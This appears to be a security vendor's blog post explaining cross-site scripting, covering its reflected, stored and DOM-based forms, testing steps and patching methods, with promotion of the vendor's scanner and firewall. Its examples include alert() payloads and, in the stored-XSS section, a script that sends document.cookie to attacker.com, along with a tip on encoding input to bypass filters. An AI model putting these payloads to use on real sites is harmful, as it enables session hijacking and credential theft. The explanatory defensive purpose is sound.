What is Cross-Site Scripting (XSS)? Types of XSS, Examples, and Patching Best Practices
May 11, 2024
What is Cross-Site Scripting (XSS)?
XSS is a security vulnerability that allows an attacker to inject malicious code into a web page viewed by other users, usually in a script.
When other users view the compromised page, the injected code can execute and steal sensitive information or perform malicious actions on their behalf.
This attack typically targets web applications that allow user-generated content or input, such as message boards, comment sections, or search boxes.
The attacker can inject malicious code, usually in the form of a script, into the web page, which is then executed by the victim’s browser. This can allow the attacker to
- Steal sensitive information such as login credentials, cookies, and other session data
- Carry out other malicious actions, such as redirecting the user to a phishing site
There are several types of XSS attacks, including
- Stored XSS, which involves the attacker injecting malicious code into a web application’s database
- Reflected XSS, which involves the attacker tricking the victim into clicking on a malicious link containing the malicious code
Preventing XSS attacks typically involves properly validating and sanitizing user input on the server-side and implementing measures such as a Content Security Policy (CSP) to prevent the execution of untrusted scripts.
XSS Attack Example
Let’s say there’s a website with a search box that allows users to search for products. The website uses a search parameter in the URL to retrieve search results like this:
https://example.com/search?q=<search term>
If the user searches for “laptops,” the URL would look like this:
https://example.com/search?q=laptops
Imagine that an attacker wants to exploit this search box to perform an XSS attack. The attacker could craft a malicious search query that includes a script tag:
https://example.com/search?q=<script>alert('XSS attack!')</script>
If a victim clicks on a link that leads to this malicious URL, the victim’s browser will execute the script and display an alert message that says,
“XSS attack!”.
This is just one example of how an XSS attack can be carried out. There are many other ways that attackers can exploit web applications to perform XSS attacks, but they all involve injecting malicious code into web pages viewed by other users.
Explore how the recent OAuth + XSS vulnerabilities endanger millions of web users.
What is the Difference Between SQLi and XSS?
SQL Injection (SQLi) and Cross-Site Scripting (XSS) are web application security vulnerabilities, but they differ in their nature and how they are exploited.
SQL Injection is an attack where an attacker injects malicious SQL code into a web application’s database through a vulnerable input field, such as a search box or login form. It is listed in OWASP Top 10.
The attacker’s goal is to retrieve sensitive information or modify the contents of the database.
For example, an attacker could use an SQL injection to bypass authentication, allowing them to access a website’s administrative panel.
On the other hand, Cross-Site Scripting is an attack where an attacker injects malicious code, typically JavaScript, into a web page viewed by other users.
The attacker’s goal is to steal sensitive information or perform unauthorized actions on behalf of the victim, such as stealing login credentials or performing a phishing attack.
The key difference between SQLi and XSS is the target of the attack. SQLi targets the server-side of the web application and aims to manipulate the database.
XSS targets the client-side of the web application and aims to manipulate the behavior of the user’s web browser.
For SQLi and XSS prevention, it’s vital to thoroughly validate and sanitize user input on the server side. Alongside techniques like input filtering and parameterized queries, enforcing Content Security Policy (CSP) is key.
7 Ways XSS Attacks Exploit Applications
1. An attacker can steal the victim’s cookies by injecting a malicious script into a web page. These cookies can be used to hijack the victim’s session and perform unauthorized actions on behalf of the victim.
2. Keylogging: An attacker can use an XSS attack to inject a script that records the victim’s keystrokes, allowing the attacker to steal sensitive information such as login credentials.
3. Phishing: An attacker can use an XSS attack to create a fake login form that looks legitimate. And steals the victim’s login credentials when they enter them into the fake form.
4. Defacement: An attacker can use an XSS attack to deface a website by injecting a script that modifies the contents of the web page, such as changing the text, images, or links.
5. Malware distribution:An attacker can use an XSS attack to inject a script that automatically downloads and installs malware onto the victim’s computer.
6. Clickjacking: An attacker can use an XSS attack to create a transparent overlay on top of a legitimate web page, tricking the victim into clicking on a button or link that performs a malicious action.
7. Session hijacking: An attacker can use an XSS attack to steal the victim’s session ID, which can be used to impersonate the victim and perform unauthorized actions on their behalf.
These are just a few examples of how XSS attacks can be used to exploit web applications. The impact of an XSS attack depends on the nature of the vulnerability and the sensitivity of the data that is being targeted.
The Three Types of XSS Attacks
Three main types of Cross-Site Scripting attacks are reflected XSS, stored XSS, and DOM-based XSS. Each type of XSS attack works differently, but they all involve injecting malicious code into web pages viewed by other users.
Here are some explanations and examples of each type of XSS attack:
1. Reflected XSS Attack
Reflected XSS attacks involve injecting malicious code into a web application’s response that reflects the user.
This can happen when a user submits a form with a search query or other user input, and the web application includes that input in the response without proper validation or sanitization.
If an attacker can inject a script tag or other malicious code into the user input, it will be reflected by the user and executed by the browser.
For example, an attacker could construct a URL that includes a malicious script:
https://example.com/search?q=<script>alert('XSS attack!')</script>
When the victim clicks on this link and the web application echo back the search query in the response, the script will be executed, and an alert message will be displayed.
2. Stored XSS Attack
Stored XSS attacks involve injecting malicious code into a web application’s database that is then displayed to other users who view the affected page. This can happen when a web application allows users to post content, such as comments or messages, stored in the database and displayed to other users.
If an attacker can inject a script tag or other malicious code into their own content, it will be stored in the database and executed by the browser when other users view the affected page.
For example, let’s consider a social media platform where users can post comments on each other’s profiles. The platform allows users to include HTML formatting in their comments to enhance their messages.
An attacker posts a comment containing a malicious script disguised as harmless HTML code:
<script> // Malicious code to steal cookies
document.location='http://attacker.com/steal?cookie='+document.cookie; </script>
When users view the profile with the malicious comment, the platform shows it, allowing the script to run in their browser. This sends their session cookies to the attacker, who can then impersonate them, gaining unauthorized access to their account.
3. DOM-based XSS Attack
DOM XSS attacks involve the injection of malicious code into the Document Object Model (DOM) of a web page.
This can happen when a web application includes user input in JavaScript code executed by the browser. If an attacker can inject a script tag or other malicious code into the user input, it will be executed by the browser when the JavaScript code is executed.
For example, if a web page includes JavaScript code that sets the value of an input field based on a query parameter, an attacker could construct a URL that contains a malicious script:
https://example.com/page.html#input <script>alert('XSS attack!')</script>
In this DOM-based XSS example, the script will be executed when the victim visits this URL, and an alert message, “XSS attack!” will be displayed.
Consequently, the alert message in the user’s browser prompts users to exit the page. This may lead to users avoiding the web application out of concern for their security.
In contrast to other types of cross-site scripting, DOM XSS is a vulnerability exclusively on the client side. This means that during a DOM-based XSS attack, the malicious DOM XSS payload never interacts with the server—it takes place within the user’s web browser.
How Does One Test for Cross-Site Scripting?
Here are some steps you can follow to detect XSS vulnerabilities:
Use automated tools
Use automated tools such as the Indusface WAS to scan the web application for XSS vulnerabilities. These tools can identify common XSS vulnerabilities, including reflected XSS and stored XSS.
Review the code
Review the web application’s source code to identify areas where user input is accepted and displayed. This may include forms, search fields, comment sections, and other interactive elements.
Conduct penetration testing
While this could be done in-house, you could leverage the Indusface WAS Premium plan that bundles annual pen testing and revalidation of the reports with the automated scanner.
Here are the test cases that you should consider including in penetration testing:
- Test input fields – Test input fields by submitting various data types, including special characters, HTML tags, and JavaScript code. Look for any unexpected behavior, such as unescaped user input being reflected back in the response.
- Test client-side scripts – Check for any client-side scripts used on the web application and try to manipulate the inputs provided. For example, test how the web application behaves when you submit user input in the URL parameters or the HTTP request headers.
- Check for error messages – Check for any error messages displayed by the web application and try to inject script code into the messages. If the browser executes the script code, it could indicate an XSS vulnerability.
- Check for filters – Look for any filters in place that try to block certain characters or HTML tags. Try to bypass these filters by encoding your input or using different variations of the characters.
- Test browser extensions – Use extensions such as XSS Me, a Firefox extension that helps identify XSS vulnerabilities.
- Test with different browsers – Test the web application using different browsers and browser versions. Some browsers may be more vulnerable to XSS attacks than others.
It’s important to note that testing for XSS vulnerability is an ongoing process, and vulnerabilities may be introduced as the web application evolves. We recommend scanning applications every month at a minimum and a penetration testing effort every 6 months to prevent cross site scripting.
How Does One Patch an XSS Vulnerability?
Once you use the above steps to find the cross-site-scripting vulnerability, here are some methods to patch the vulnerabilities:
Apply input validation
Implementing input validation is one of the most effective ways to prevent XSS attacks. This involves checking user input to ensure it’s in the expected format and contains no suspicious characters or script code.
Implement output encoding
Another way to prevent cross-site scripting attacks is to implement output encoding, which involves encoding user input so that it’s not interpreted as script code by the browser.
Use a Content Security Policy (CSP)
A Content Security Policy (CSP) is a security feature that allows you to restrict the types of content that your web application can load. Implementing a CSP can prevent malicious scripts from being executed on your web application.
Find out how AppTrana WAAP’s client-side protection employs CSP headers to safeguard against DOM based XSS attacks
Update web application software
If the vulnerability is due to an outdated or vulnerable web application software, the software should be updated to the latest version or patched with the latest security updates.
Use a Web Application Firewall (WAF)
A web application firewall (WAF) like AppTrana can also help prevent XSS attacks by filtering out malicious payloads before they reach the web application.
As with the vulnerability detection process, the vulnerability patching must be continuous. With dedicated sprints for patching, you will always be on top of open vulnerabilities that your automated scanners and pen testers find.
How does a WAF Block Cross-Site-Scripting Attacks?
While it is good to have a regular patching process, sometimes the developers cannot patch the vulnerability as it might exist in a third-party code or plug-in they use in the source code.
So, it becomes mandatory for the developers to wait until the third-party issues a patch. They can’t wait for the patch, as an attack might happen. This is where a WAF like Indusface AppTrana comes in with the ability to patch the XSS vulnerability on the WAF level virtually.
AppTrana uses an advanced anomaly scoring engine based on input validation, signatures, behavioural analysis, and threat intelligence to block attacks at the request level.
You could also leverage AppTrana to implement output encoding and Content Security Policy. This way, the application stays secure while your developers find time to patch the open vulnerabilities.
Stay tuned for more relevant and interesting security articles. Follow Indusface on Facebook, Twitter, and LinkedIn.
